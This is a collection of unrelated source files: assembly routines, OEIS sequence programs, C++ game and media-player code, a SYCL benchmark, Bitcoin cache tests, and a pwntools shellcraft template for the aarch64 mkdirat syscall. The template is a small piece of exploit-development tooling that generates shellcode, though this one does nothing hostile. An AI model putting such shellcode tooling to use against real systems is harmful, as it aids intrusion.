;exit- dopush di,cx,dx,si ;moving the width and height to their matching variables mov cx,[c_height] ;height mov dx,[c_width] ;width call dimensionsToVars mov si, offset c_scrkeep ; <saving background in this variable. ;moving variables to return background to old position mov cx, [c_oldPos] ; old position to matching pos variable. mov [Pos],cx call retB ;moving varibles to save background mov cx, [c_pos] ; pointing to the right positon. mov [c_oldPos], cx ; updating old position mov [Pos], cx call takeB ;calling the operation to save background ; mask operation mov si, offset ChickenMask call anding ; print operation mov si, [lastC] call oring dopop si,dx,cx,di ret endp movChicken ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ;'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
; A066318: Number of necklaces with n labeled beads of 2 colors. ; 2,4,16,96,768,7680,92160,1290240,20643840,371589120,7431782400,163499212800,3923981107200,102023508787200,2856658246041600,85699747381248000,2742391916199936000,93241325150797824000,3356687705428721664000,127554132806291423232000,5102165312251656929280000,214290943114569591029760000,9428801497041062005309440000,433724868863888852244234240000,20818793705466664907723243520000,1040939685273333245386162176000000,54128863634213328760080433152000000 mov $1,3415 lpb $0 mul $1,$0 sub $0,1 mul $1,2 lpe div $1,3415 mul $1,2 mov $0,$1
; void sms_vdp_set_read_address(unsigned int addr) SECTION code_clib SECTION code_arch PUBLIC _sms_vdp_set_read_address EXTERN asm_sms_vdp_set_read_address _sms_vdp_set_read_address: pop af pop hl push hl push af jp asm_sms_vdp_set_read_address
; A314669: Coordination sequence Gal.6.216.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Jon Maiga ; 1,5,9,13,17,21,25,29,33,37,41,46,51,55,59,63,67,71,75,79,83,87,92,97,101,105,109,113,117,121,125,129,133,138,143,147,151,155,159,163,167,171,175,179,184,189,193,197,201,205 mov $4,$0 mov $5,$0 sub $0,1 div $0,11 add $0,1 mov $2,$4 mul $2,2 div $2,22 add $2,$0 mov $1,$2 mov $3,$5 mul $3,4 add $1,$3 mov $0,$1
/* Amine Rehioui Created: May 1st 2013 */ #include "ShootTest.h" #include "AIManager.h" #include "PlayerCamera.h" #include "ConfigPoint.h" #include "TriggerSpawner.h" #include "GameManager.h" namespace shoot { DEFINE_OBJECT(AIManager); //! static vars AIManager* AIManager::ms_pInstance = NULL; //! constructor AIManager::AIManager() : m_CurrentCheckpoint(0) { } //! destructor AIManager::~AIManager() { ms_pInstance = NULL; } //! serializes the entity to/from a PropertyStream void AIManager::Serialize(PropertyStream& stream) { super::Serialize(stream); stream.SerializeArray("Checkpoints", &m_Checkpoints, PT_Link); } //! called during the initialization of the entity void AIManager::Init() { super::Init(); SHOOT_ASSERT(!ms_pInstance, "Multiple AIManager instances detected"); ms_pInstance = this; for(u32 i=0; i<m_Checkpoints.GetSize(); ++i) { m_Checkpoints[i].Init(this); } #ifdef SHOOT_EDITOR if(Player* pPlayer = Player::Instance()) { for(s32 i=s32(m_Checkpoints.GetSize())-1; i >= 0; --i) { if(m_Checkpoints[i].Get() && m_Checkpoints[i]->IsReached()) { m_CurrentCheckpoint = i; Player::Instance()->SetBaseSpeed(GetCurrentCheckpoint()->GetBaseSpeed()); break; } } } #endif } //! called during the update of the entity void AIManager::Update() { } //! called when an actor has been spawned void AIManager::OnEnemySpawned(Actor* pActor) { if(pActor->IsDestructible()) { m_lDestructibleEnemies.push_back(Handle<Actor>(pActor)); } else { m_lEnemies.push_back(Handle<Actor>(pActor)); } } //! called when an actor has been spawned void AIManager::OnEnemySpawned(Actor* pActor, TriggerSpawner* pTrigger) { OnEnemySpawned(pActor); Handle<TriggerSpawner> trigger(pTrigger); SHOOT_ASSERT(std::find(m_lTriggers.begin(), m_lTriggers.end(), trigger) == m_lTriggers.end(), "Trying to register a trigger spawner twice"); m_lTriggers.push_back(trigger); } //! called when an enemy has been destroyed void AIManager::OnEnemyDestroyed(Actor* pActor) { std::list< Handle<Actor> >& list = pActor->IsDestructible() ? m_lDestructibleEnemies : m_lEnemies; Handle<Actor> actor(pActor); std::list< Handle<Actor> >::iterator it = std::find(list.begin(), list.end(), actor); if(it != list.end()) { list.erase(it); } } //! called on player respawn void AIManager::OnRespawn() { for(std::list< Handle<Actor> >::iterator it = m_lDestructibleEnemies.begin(); it != m_lDestructibleEnemies.end(); ++it) { Actor* pActor = (*it).Get(); if(pActor && pActor->GetCanRespawn()) { Engine::Instance()->RemoveEntity(pActor); } } for(std::list< Handle<Actor> >::iterator it = m_lEnemies.begin(); it != m_lEnemies.end(); ++it) { Actor* pActor = (*it).Get(); if(pActor && pActor->GetCanRespawn()) { Engine::Instance()->RemoveEntity(pActor); } } for(std::list< Handle<TriggerSpawner> >::iterator it = m_lTriggers.begin(); it != m_lTriggers.end(); ++it) { if(TriggerSpawner* pTrigger = (*it).Get()) { pTrigger->Reactivate(); } } m_lDestructibleEnemies.clear(); m_lEnemies.clear(); m_lTriggers.clear(); // find last possible respawn spot while(m_CurrentCheckpoint > 0 && !m_Checkpoints[m_CurrentCheckpoint].Get()->CanRespawnHere()) { --m_CurrentCheckpoint; } ConfigPoint* pCurrentCP = m_Checkpoints[m_CurrentCheckpoint].Get(); Player::Instance()->SetPosition(pCurrentCP->GetTransformationMatrix().GetTranslation()); Player::Instance()->SetSkyBoxRotation(pCurrentCP->GetSkyBoxRotation()); s32 restoredScore = pCurrentCP->GetScore()-1; restoredScore = Math::Clamp(restoredScore, 0, restoredScore); pCurrentCP->SetScore(restoredScore); GameManager::Instance()->SetScore(pCurrentCP->GetScore()); } //! returns true if there are enemies to shoot at bool AIManager::IsEnnemyDetected() const { for(std::list< Handle<Actor> >::const_iterator it = m_lDestructibleEnemies.begin(); it != m_lDestructibleEnemies.end(); ++it) { if(Actor* pActor = (*it).Get()) { Vector3 vPlayerBasePos = Player::Instance()->GetPosition(); if(vPlayerBasePos.Y < pActor->GetTransformationMatrix().GetTranslation().Y) { return true; } } } return false; } //! returns the next check point ConfigPoint* AIManager::GetNextCheckpoint() const { if(s32(m_CurrentCheckpoint) < s32(m_Checkpoints.GetSize())-1) { return m_Checkpoints[m_CurrentCheckpoint+1].Get(); } return NULL; } //! increments the current checkpoint void AIManager::IncrCheckpoint() { ++m_CurrentCheckpoint; m_Checkpoints[m_CurrentCheckpoint]->Apply(); } }
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="fd, path, mode"/> <%docstring> Invokes the syscall mkdirat. See 'man 2 mkdirat' for more information. Arguments: fd(int): fd path(char): path mode(mode_t): mode </%docstring> ${syscall('SYS_mkdirat', fd, path, mode)}
/*! * player_provider.cc (https://github.com/SamsungDForum/NativePlayer) * Copyright 2016, Samsung Electronics Co., Ltd * Licensed under the MIT license * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * @author Michal Murgrabia */ #include "player/player_provider.h" #include "player/es_dash_player/es_dash_player_controller.h" #include "player/url_player/url_player_controller.h" #include "logger.h" using Samsung::NaClPlayer::Rect; std::shared_ptr<PlayerController> PlayerProvider::CreatePlayer( PlayerType type, const std::string& url, const Samsung::NaClPlayer::Rect view_rect, const std::string& subtitle, const std::string& encoding, const std::string& drm_license_url, const std::unordered_map<std::string, std::string>& drm_key_request_properties) { switch (type) { case kUrl: { std::shared_ptr<UrlPlayerController> controller = std::make_shared<UrlPlayerController>(instance_, message_sender_); controller->SetViewRect(view_rect); controller->InitPlayer(url, subtitle, encoding); return controller; } case kEsDash: { std::shared_ptr<EsDashPlayerController> controller = std::make_shared<EsDashPlayerController>(instance_, message_sender_); controller->SetViewRect(view_rect); controller->InitPlayer(url, subtitle, encoding, drm_license_url, drm_key_request_properties); return controller; } default: Logger::Error("Not known type of player %d", type); } return 0; }
/* Matheus Tomieiro de Oliveira, 10734630 Victor Vieira Custodio Reis, 10734686 */ #include <stdio.h> #include <stdlib.h> #include<bits/stdc++.h> #include "../lib/Matriz.h" #include <iostream> using namespace std; /*-------------------------------- Vamos definir as variaveis importantes na recursao para montagem na PD São elas: O degrau atual e o numero de degraus restantes. Portanto a matriz de memorizacao conterah como primeiro indice o degrau_atual e como segundo degraus_restantes --------------------------------*/ //Declarando variaveis globais(Por conviniencia na reducao de argumentos da funcao recursiva) int **MEMO; int N, NR; int *VARG; /* Funcao que calcula a quantidade de possibilidades de subir uma escada dado o degrau atual e quantos degraus ainda faltam para o fim dela. args: (int) degrau_atual, (int) degraus_restantes return: (int) Numero de possibilidades de subit a escada [a partir dos indices passados por parametro] */ int degraus(int degrau_atual, int degraus_restantes){ if(degraus_restantes < 0) return 0; //Caso Base 1: Quando ja se passou o ultimo degrau[nao ha mais caminho] if(degraus_restantes == 0) return 1; //Caso Base 2: Quando se estah no ultimo degrau[ha um caminho] if(MEMO[degrau_atual][degraus_restantes] != 0) return MEMO[degrau_atual][degraus_restantes]; //Evitando redundancia for(int i=0; i<NR; i++){ //Rodadando para todas as restricoes if(VARG[i]<N) //Evitando casos onde a restricao eh maior que o numero de degraus MEMO[degrau_atual][degraus_restantes] += degraus(degrau_atual+VARG[i], degraus_restantes-VARG[i]); //Na linha acima, os casos sao somados para cada nivel da arvore [contabilizando niveis abaixo] } return MEMO[degrau_atual][degraus_restantes]; } int main(int argc, char *argv[]){ //Lendo informacoes relevantes printf("Digite o numero de degraus: "); scanf("%d",&N); printf("Digite o numero de restricoes: "); scanf("%d",&NR); VARG = (int*)malloc(NR*sizeof(int)); printf("Digite a lista de restricoes, seperando itens por espaços\n"); for(int i=0; i<NR; i++){ scanf("%d",&VARG[i]); } MEMO = aloca_m_quad(N+1); //Alocando matriz quadrada MEMO na heap printf("\nNumero de possibilidades: %d\n\n", (degraus(0,N))); libera_m_quad(MEMO, N+1); //Liberando MEMO free(VARG); return 0; }
; A138564: a(1) = 1; a(n) = a(n-1) + (n!)^3. ; 1,9,225,14049,1742049,374990049,128399054049,65676719822049,47850402559694049,47832576242431694049,63649302669112063694049,109966989623147836159694049,241567605673714904675071694049,662801328154821495670649599694049 add $0,2 lpb $0 mov $2,$0 max $0,3 sub $0,1 pow $2,3 mul $1,$2 add $1,1 lpe mul $1,8 add $1,1 mov $0,$1
#define DPCT_USM_LEVEL_NONE #include <CL/sycl.hpp> #include <dpct/dpct.hpp> #include "OptionParser.h" #include "Timer.h" #include "Utility.h" // **************************************************************************** // Function: addBenchmarkSpecOptions // // Purpose: // Add benchmark specific options parsing // // Arguments: // op: the options parser / parameter database // // Returns: nothing // // Programmer: Kyle Spafford // Creation: December 15, 2009 // // Modifications: // // **************************************************************************** void addBenchmarkSpecOptions(OptionParser &op) { ; } // **************************************************************************** // Function: triad // // Purpose: // A simple vector addition kernel // C = A + s*B // // Arguments: // A,B - input vectors // C - output vectors // s - scalar // // Returns: nothing // // Programmer: Kyle Spafford // Creation: December 15, 2009 // // Modifications: // // **************************************************************************** void triad(float* A, float* B, float* C, float s, sycl::nd_item<3> item_ct1) { int gid = item_ct1.get_local_id(2) + (item_ct1.get_group(2) * item_ct1.get_local_range().get(2)); C[gid] = A[gid] + s*B[gid]; } // **************************************************************************** // Function: RunBenchmark // // Purpose: // Implements the Stream Triad benchmark in CUDA. This benchmark // is designed to test CUDA's overall data transfer speed. It executes // a vector addition operation with no temporal reuse. Data is read // directly from the global memory. This implementation tiles the input // array and pipelines the vector addition computation with // the data download for the next tile. However, since data transfer from // host to device is much more expensive than the simple vector computation, // data transfer operations should completely dominate the execution time. // // Arguments: // resultDB: results from the benchmark are stored in this db // op: the options parser (contains input parameters) // // Returns: nothing // // Programmer: Kyle Spafford // Creation: December 15, 2009 // // Modifications: // // **************************************************************************** void RunBenchmark(OptionParser &op) { dpct::device_ext &dev_ct1 = dpct::get_current_device(); const bool verbose = op.getOptionBool("verbose"); const int n_passes = op.getOptionInt("passes"); // 256k through 8M bytes const int nSizes = 9; const size_t blockSizes[] = { 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384 }; const size_t memSize = 16384; const size_t numMaxFloats = 1024 * memSize / 4; const size_t halfNumFloats = numMaxFloats / 2; // Create some host memory pattern srand48(8650341L); float *h_mem; h_mem = (float *)malloc(sizeof(float) * numMaxFloats); // Allocate some device memory float* d_memA0, *d_memB0, *d_memC0; dpct::dpct_malloc((void **)&d_memA0, blockSizes[nSizes - 1] * 1024); dpct::dpct_malloc((void **)&d_memB0, blockSizes[nSizes - 1] * 1024); dpct::dpct_malloc((void **)&d_memC0, blockSizes[nSizes - 1] * 1024); float* d_memA1, *d_memB1, *d_memC1; dpct::dpct_malloc((void **)&d_memA1, blockSizes[nSizes - 1] * 1024); dpct::dpct_malloc((void **)&d_memB1, blockSizes[nSizes - 1] * 1024); dpct::dpct_malloc((void **)&d_memC1, blockSizes[nSizes - 1] * 1024); float scalar = 1.75f; const size_t blockSize = 128; // Number of passes. Use a large number for stress testing. // A small value is sufficient for computing sustained performance. for (int pass = 0; pass < n_passes; ++pass) { // Step through sizes forward for (int i = 0; i < nSizes; ++i) { int elemsInBlock = blockSizes[i] * 1024 / sizeof(float); for (int j = 0; j < halfNumFloats; ++j) h_mem[j] = h_mem[halfNumFloats + j] = (float) (drand48() * 10.0); // Copy input memory to the device if (verbose) { cout << ">> Executing Triad with vectors of length " << numMaxFloats << " and block size of " << elemsInBlock << " elements." << "\n"; printf("Block:%05ldKB\n", blockSizes[i]); } // start submitting blocks of data of size elemsInBlock // overlap the computation of one block with the data // download for the next block and the results upload for // the previous block int crtIdx = 0; size_t globalWorkSize = elemsInBlock / blockSize; sycl::queue *streams[2]; streams[0] = dev_ct1.create_queue(); streams[1] = dev_ct1.create_queue(); int TH = Timer::Start(); dpct::async_dpct_memcpy(d_memA0, h_mem, blockSizes[i] * 1024, dpct::host_to_device, *(streams[0])); dpct::async_dpct_memcpy(d_memB0, h_mem, blockSizes[i] * 1024, dpct::host_to_device, *(streams[0])); { dpct::buffer_t d_memA0_buf_ct0 = dpct::get_buffer(d_memA0); dpct::buffer_t d_memB0_buf_ct1 = dpct::get_buffer(d_memB0); dpct::buffer_t d_memC0_buf_ct2 = dpct::get_buffer(d_memC0); streams[0]->submit([&](sycl::handler &cgh) { auto d_memA0_acc_ct0 = d_memA0_buf_ct0.get_access<sycl::access::mode::read_write>( cgh); auto d_memB0_acc_ct1 = d_memB0_buf_ct1.get_access<sycl::access::mode::read_write>( cgh); auto d_memC0_acc_ct2 = d_memC0_buf_ct2.get_access<sycl::access::mode::read_write>( cgh); cgh.parallel_for( sycl::nd_range<3>(sycl::range<3>(1, 1, globalWorkSize) * sycl::range<3>(1, 1, blockSize), sycl::range<3>(1, 1, blockSize)), [=](sycl::nd_item<3> item_ct1) { triad((float *)(&d_memA0_acc_ct0[0]), (float *)(&d_memB0_acc_ct1[0]), (float *)(&d_memC0_acc_ct2[0]), scalar, item_ct1); }); }); } if (elemsInBlock < numMaxFloats) { // start downloading data for next block dpct::async_dpct_memcpy(d_memA1, h_mem + elemsInBlock, blockSizes[i] * 1024, dpct::host_to_device, *(streams[1])); dpct::async_dpct_memcpy(d_memB1, h_mem + elemsInBlock, blockSizes[i] * 1024, dpct::host_to_device, *(streams[1])); } int blockIdx = 1; unsigned int currStream = 1; while (crtIdx < numMaxFloats) { currStream = blockIdx & 1; // Start copying back the answer from the last kernel if (currStream) { dpct::async_dpct_memcpy(h_mem + crtIdx, d_memC0, elemsInBlock * sizeof(float), dpct::device_to_host, *(streams[0])); } else { dpct::async_dpct_memcpy(h_mem + crtIdx, d_memC1, elemsInBlock * sizeof(float), dpct::device_to_host, *(streams[1])); } crtIdx += elemsInBlock; if (crtIdx < numMaxFloats) { // Execute the kernel if (currStream) { dpct::buffer_t d_memA1_buf_ct0 = dpct::get_buffer(d_memA1); dpct::buffer_t d_memB1_buf_ct1 = dpct::get_buffer(d_memB1); dpct::buffer_t d_memC1_buf_ct2 = dpct::get_buffer(d_memC1); streams[1]->submit([&](sycl::handler &cgh) { auto d_memA1_acc_ct0 = d_memA1_buf_ct0 .get_access<sycl::access::mode::read_write>(cgh); auto d_memB1_acc_ct1 = d_memB1_buf_ct1 .get_access<sycl::access::mode::read_write>(cgh); auto d_memC1_acc_ct2 = d_memC1_buf_ct2 .get_access<sycl::access::mode::read_write>(cgh); cgh.parallel_for(sycl::nd_range<3>( sycl::range<3>(1, 1, globalWorkSize) * sycl::range<3>(1, 1, blockSize), sycl::range<3>(1, 1, blockSize)), [=](sycl::nd_item<3> item_ct1) { triad((float *)(&d_memA1_acc_ct0[0]), (float *)(&d_memB1_acc_ct1[0]), (float *)(&d_memC1_acc_ct2[0]), scalar, item_ct1); }); }); } else { dpct::buffer_t d_memA0_buf_ct0 = dpct::get_buffer(d_memA0); dpct::buffer_t d_memB0_buf_ct1 = dpct::get_buffer(d_memB0); dpct::buffer_t d_memC0_buf_ct2 = dpct::get_buffer(d_memC0); streams[0]->submit([&](sycl::handler &cgh) { auto d_memA0_acc_ct0 = d_memA0_buf_ct0 .get_access<sycl::access::mode::read_write>(cgh); auto d_memB0_acc_ct1 = d_memB0_buf_ct1 .get_access<sycl::access::mode::read_write>(cgh); auto d_memC0_acc_ct2 = d_memC0_buf_ct2 .get_access<sycl::access::mode::read_write>(cgh); cgh.parallel_for(sycl::nd_range<3>( sycl::range<3>(1, 1, globalWorkSize) * sycl::range<3>(1, 1, blockSize), sycl::range<3>(1, 1, blockSize)), [=](sycl::nd_item<3> item_ct1) { triad((float *)(&d_memA0_acc_ct0[0]), (float *)(&d_memB0_acc_ct1[0]), (float *)(&d_memC0_acc_ct2[0]), scalar, item_ct1); }); }); } } if (crtIdx+elemsInBlock < numMaxFloats) { // Download data for next block if (currStream) { dpct::async_dpct_memcpy(d_memA0, h_mem + crtIdx + elemsInBlock, blockSizes[i] * 1024, dpct::host_to_device, *(streams[0])); dpct::async_dpct_memcpy(d_memB0, h_mem + crtIdx + elemsInBlock, blockSizes[i] * 1024, dpct::host_to_device, *(streams[0])); } else { dpct::async_dpct_memcpy(d_memA1, h_mem + crtIdx + elemsInBlock, blockSizes[i] * 1024, dpct::host_to_device, *(streams[1])); dpct::async_dpct_memcpy(d_memB1, h_mem + crtIdx + elemsInBlock, blockSizes[i] * 1024, dpct::host_to_device, *(streams[1])); } } blockIdx += 1; currStream = !currStream; } dev_ct1.queues_wait_and_throw(); double time = Timer::Stop(TH, "thread synchronize"); double triad = ((double)numMaxFloats * 2.0) / (time*1e9); if (verbose) std::cout << "TriadFlops " << triad << " GFLOPS/s\n"; double bdwth = ((double)numMaxFloats*sizeof(float)*3.0) / (time*1000.*1000.*1000.); if (verbose) std::cout << "TriadBdwth " << bdwth << " GB/s\n"; // Checking memory for correctness. The two halves of the array // should have the same results. if (verbose) cout << ">> checking memory\n"; for (int j=0; j<halfNumFloats; ++j) { if (h_mem[j] != h_mem[j+halfNumFloats]) { cout << "Error; hostMem[" << j << "]=" << h_mem[j] << " is different from its twin element hostMem[" << (j+halfNumFloats) << "]: " << h_mem[j+halfNumFloats] << "stopping check\n"; break; } } if (verbose) cout << ">> finish!" << endl; // Zero out the test host memory for (int j=0; j<numMaxFloats; ++j) h_mem[j] = 0.0f; } } // Cleanup dpct::dpct_free(d_memA0); dpct::dpct_free(d_memB0); dpct::dpct_free(d_memC0); dpct::dpct_free(d_memA1); dpct::dpct_free(d_memB1); dpct::dpct_free(d_memC1); free(h_mem); }
.thumb .org 0x0 @r4 has unit's class data ptr, r5 = ram char ptr ldrb r2,[r0,#0x5] @new class id lsl r2,#0x2 ldr r1,MagClassTable add r2,r1 mov r1,#0x3 ldsb r1,[r2,r1] @mag promo bonus mov r0,r5 add r0,#0x3A ldrb r7,[r0] @char mag add r7,r1,r7 ldrb r1,[r2,#0x2] @mag cap cmp r7,r1 ble NotCapped mov r7,r1 NotCapped: strb r7,[r0] mov r0,r4 add r0,#0x27 ldrb r7,[r5,#0x18] ldrb r0,[r0] add r0,r7,r0 strb r0,[r5,#0x18] bx r14 .align MagClassTable:
; A168624: a(n) = 1 - 10^n + 100^n. ; 1,91,9901,999001,99990001,9999900001,999999000001,99999990000001,9999999900000001,999999999000000001,99999999990000000001,9999999999900000000001,999999999999000000000001,99999999999990000000000001,9999999999999900000000000001,999999999999999000000000000001,99999999999999990000000000000001,9999999999999999900000000000000001,999999999999999999000000000000000001,99999999999999999990000000000000000001,9999999999999999999900000000000000000001,999999999999999999999000000000000000000001 mov $1,10 pow $1,$0 bin $1,2 mul $1,2 add $1,1 mov $0,$1
; A138134: a(n) = Sum_{i=0..n} Fibonacci(5*i). ; 0,5,60,670,7435,82460,914500,10141965,112476120,1247379290,13833648315,153417510760,1701426266680,18869106444245,209261597153380,2320746675131430,25737475023599115,285432971934721700,3165500166305537820 lpb $0 mov $2,$0 sub $0,1 seq $2,49666 ; a(n) = Fibonacci(5*n)/5. add $3,$2 lpe mov $0,$3 mul $0,5
// Copyright (c) 2012-2019 The ReBitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <boost/test/unit_test.hpp> #include <cuckoocache.h> #include <script/sigcache.h> #include <test/util/setup_common.h> #include <random.h> #include <thread> /** Test Suite for CuckooCache * * 1. All tests should have a deterministic result (using insecure rand * with deterministic seeds) * 2. Some test methods are templated to allow for easier testing * against new versions / comparing * 3. Results should be treated as a regression test, i.e., did the behavior * change significantly from what was expected. This can be OK, depending on * the nature of the change, but requires updating the tests to reflect the new * expected behavior. For example improving the hit rate may cause some tests * using BOOST_CHECK_CLOSE to fail. * */ BOOST_AUTO_TEST_SUITE(cuckoocache_tests); /* Test that no values not inserted into the cache are read out of it. * * There are no repeats in the first 200000 insecure_GetRandHash calls */ BOOST_AUTO_TEST_CASE(test_cuckoocache_no_fakes) { SeedInsecureRand(SeedRand::ZEROS); CuckooCache::cache<uint256, SignatureCacheHasher> cc{}; size_t megabytes = 4; cc.setup_bytes(megabytes << 20); for (int x = 0; x < 100000; ++x) { cc.insert(InsecureRand256()); } for (int x = 0; x < 100000; ++x) { BOOST_CHECK(!cc.contains(InsecureRand256(), false)); } }; /** This helper returns the hit rate when megabytes*load worth of entries are * inserted into a megabytes sized cache */ template <typename Cache> static double test_cache(size_t megabytes, double load) { SeedInsecureRand(SeedRand::ZEROS); std::vector<uint256> hashes; Cache set{}; size_t bytes = megabytes * (1 << 20); set.setup_bytes(bytes); uint32_t n_insert = static_cast<uint32_t>(load * (bytes / sizeof(uint256))); hashes.resize(n_insert); for (uint32_t i = 0; i < n_insert; ++i) { uint32_t* ptr = (uint32_t*)hashes[i].begin(); for (uint8_t j = 0; j < 8; ++j) *(ptr++) = InsecureRand32(); } /** We make a copy of the hashes because future optimizations of the * cuckoocache may overwrite the inserted element, so the test is * "future proofed". */ std::vector<uint256> hashes_insert_copy = hashes; /** Do the insert */ for (const uint256& h : hashes_insert_copy) set.insert(h); /** Count the hits */ uint32_t count = 0; for (const uint256& h : hashes) count += set.contains(h, false); double hit_rate = ((double)count) / ((double)n_insert); return hit_rate; } /** The normalized hit rate for a given load. * * The semantics are a little confusing, so please see the below * explanation. * * Examples: * * 1. at load 0.5, we expect a perfect hit rate, so we multiply by * 1.0 * 2. at load 2.0, we expect to see half the entries, so a perfect hit rate * would be 0.5. Therefore, if we see a hit rate of 0.4, 0.4*2.0 = 0.8 is the * normalized hit rate. * * This is basically the right semantics, but has a bit of a glitch depending on * how you measure around load 1.0 as after load 1.0 your normalized hit rate * becomes effectively perfect, ignoring freshness. */ static double normalize_hit_rate(double hits, double load) { return hits * std::max(load, 1.0); } /** Check the hit rate on loads ranging from 0.1 to 1.6 */ BOOST_AUTO_TEST_CASE(cuckoocache_hit_rate_ok) { /** Arbitrarily selected Hit Rate threshold that happens to work for this test * as a lower bound on performance. */ double HitRateThresh = 0.98; size_t megabytes = 4; for (double load = 0.1; load < 2; load *= 2) { double hits = test_cache<CuckooCache::cache<uint256, SignatureCacheHasher>>(megabytes, load); BOOST_CHECK(normalize_hit_rate(hits, load) > HitRateThresh); } } /** This helper checks that erased elements are preferentially inserted onto and * that the hit rate of "fresher" keys is reasonable*/ template <typename Cache> static void test_cache_erase(size_t megabytes) { double load = 1; SeedInsecureRand(SeedRand::ZEROS); std::vector<uint256> hashes; Cache set{}; size_t bytes = megabytes * (1 << 20); set.setup_bytes(bytes); uint32_t n_insert = static_cast<uint32_t>(load * (bytes / sizeof(uint256))); hashes.resize(n_insert); for (uint32_t i = 0; i < n_insert; ++i) { uint32_t* ptr = (uint32_t*)hashes[i].begin(); for (uint8_t j = 0; j < 8; ++j) *(ptr++) = InsecureRand32(); } /** We make a copy of the hashes because future optimizations of the * cuckoocache may overwrite the inserted element, so the test is * "future proofed". */ std::vector<uint256> hashes_insert_copy = hashes; /** Insert the first half */ for (uint32_t i = 0; i < (n_insert / 2); ++i) set.insert(hashes_insert_copy[i]); /** Erase the first quarter */ for (uint32_t i = 0; i < (n_insert / 4); ++i) BOOST_CHECK(set.contains(hashes[i], true)); /** Insert the second half */ for (uint32_t i = (n_insert / 2); i < n_insert; ++i) set.insert(hashes_insert_copy[i]); /** elements that we marked as erased but are still there */ size_t count_erased_but_contained = 0; /** elements that we did not erase but are older */ size_t count_stale = 0; /** elements that were most recently inserted */ size_t count_fresh = 0; for (uint32_t i = 0; i < (n_insert / 4); ++i) count_erased_but_contained += set.contains(hashes[i], false); for (uint32_t i = (n_insert / 4); i < (n_insert / 2); ++i) count_stale += set.contains(hashes[i], false); for (uint32_t i = (n_insert / 2); i < n_insert; ++i) count_fresh += set.contains(hashes[i], false); double hit_rate_erased_but_contained = double(count_erased_but_contained) / (double(n_insert) / 4.0); double hit_rate_stale = double(count_stale) / (double(n_insert) / 4.0); double hit_rate_fresh = double(count_fresh) / (double(n_insert) / 2.0); // Check that our hit_rate_fresh is perfect BOOST_CHECK_EQUAL(hit_rate_fresh, 1.0); // Check that we have a more than 2x better hit rate on stale elements than // erased elements. BOOST_CHECK(hit_rate_stale > 2 * hit_rate_erased_but_contained); } BOOST_AUTO_TEST_CASE(cuckoocache_erase_ok) { size_t megabytes = 4; test_cache_erase<CuckooCache::cache<uint256, SignatureCacheHasher>>(megabytes); } template <typename Cache> static void test_cache_erase_parallel(size_t megabytes) { double load = 1; SeedInsecureRand(SeedRand::ZEROS); std::vector<uint256> hashes; Cache set{}; size_t bytes = megabytes * (1 << 20); set.setup_bytes(bytes); uint32_t n_insert = static_cast<uint32_t>(load * (bytes / sizeof(uint256))); hashes.resize(n_insert); for (uint32_t i = 0; i < n_insert; ++i) { uint32_t* ptr = (uint32_t*)hashes[i].begin(); for (uint8_t j = 0; j < 8; ++j) *(ptr++) = InsecureRand32(); } /** We make a copy of the hashes because future optimizations of the * cuckoocache may overwrite the inserted element, so the test is * "future proofed". */ std::vector<uint256> hashes_insert_copy = hashes; boost::shared_mutex mtx; { /** Grab lock to make sure we release inserts */ boost::unique_lock<boost::shared_mutex> l(mtx); /** Insert the first half */ for (uint32_t i = 0; i < (n_insert / 2); ++i) set.insert(hashes_insert_copy[i]); } /** Spin up 3 threads to run contains with erase. */ std::vector<std::thread> threads; /** Erase the first quarter */ for (uint32_t x = 0; x < 3; ++x) /** Each thread is emplaced with x copy-by-value */ threads.emplace_back([&, x] { boost::shared_lock<boost::shared_mutex> l(mtx); size_t ntodo = (n_insert/4)/3; size_t start = ntodo*x; size_t end = ntodo*(x+1); for (uint32_t i = start; i < end; ++i) { bool contains = set.contains(hashes[i], true); assert(contains); } }); /** Wait for all threads to finish */ for (std::thread& t : threads) t.join(); /** Grab lock to make sure we observe erases */ boost::unique_lock<boost::shared_mutex> l(mtx); /** Insert the second half */ for (uint32_t i = (n_insert / 2); i < n_insert; ++i) set.insert(hashes_insert_copy[i]); /** elements that we marked erased but that are still there */ size_t count_erased_but_contained = 0; /** elements that we did not erase but are older */ size_t count_stale = 0; /** elements that were most recently inserted */ size_t count_fresh = 0; for (uint32_t i = 0; i < (n_insert / 4); ++i) count_erased_but_contained += set.contains(hashes[i], false); for (uint32_t i = (n_insert / 4); i < (n_insert / 2); ++i) count_stale += set.contains(hashes[i], false); for (uint32_t i = (n_insert / 2); i < n_insert; ++i) count_fresh += set.contains(hashes[i], false); double hit_rate_erased_but_contained = double(count_erased_but_contained) / (double(n_insert) / 4.0); double hit_rate_stale = double(count_stale) / (double(n_insert) / 4.0); double hit_rate_fresh = double(count_fresh) / (double(n_insert) / 2.0); // Check that our hit_rate_fresh is perfect BOOST_CHECK_EQUAL(hit_rate_fresh, 1.0); // Check that we have a more than 2x better hit rate on stale elements than // erased elements. BOOST_CHECK(hit_rate_stale > 2 * hit_rate_erased_but_contained); } BOOST_AUTO_TEST_CASE(cuckoocache_erase_parallel_ok) { size_t megabytes = 4; test_cache_erase_parallel<CuckooCache::cache<uint256, SignatureCacheHasher>>(megabytes); } template <typename Cache> static void test_cache_generations() { // This test checks that for a simulation of network activity, 